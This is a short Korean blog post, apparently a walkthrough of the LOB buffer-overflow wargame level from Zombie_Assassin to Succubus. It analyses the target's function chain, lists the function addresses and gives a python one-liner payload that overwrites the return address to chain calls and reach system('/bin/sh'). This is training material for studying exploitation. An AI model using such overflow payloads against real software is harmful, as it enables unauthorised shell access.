카테고리 없음

LOB 문제풀기(Zombie_Assassin => Succubus)

DEEPY 2020. 5. 25. 15:29

 

 

다음 문제를 풀어보자

우선 succubus.c 파일을 분석한다.

 

소스가 너무 길어서 해독하는데 어려웠는데, 그냥 ret 위치 위치할 주소가 do 함수의 주소가 있어야 하며 버퍼스택안에 mo 함수에 system 함수가 있으므로 결국 함수들 GYE, GUL, YUT, MO 차례차례 연결해서 MO 함수에 도달해 system 함수를 이용하면 된다.

 

다음 명령어로 각 함수들의 주th를 알아낸다.

DO - 080487ec => \xec\x87\x04\x08

GYE - 080487bc => \xbc\x87\x04\x08 

GUL - 0804878c => \x8c\x87\x04\x08

YUT - 0804875c =>  \x5c\x87\x04\x08

MO - 08048724 =>  \x24\x87\x04\x08

 

페이로드를 작성하면 44byte(esp+sfp : null 값) + 4byte(do 주소) + 4byte(gye 주소) + 4byte(gul 주소) + 4byte(yut 주소) + 4byte(mu 주소) + 4byte(dummy)+4byte("/bin/sh")

`python -c 'print "a"*44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"\x90"*4+"/bin/sh의 주소"

 

 

0xbffffc58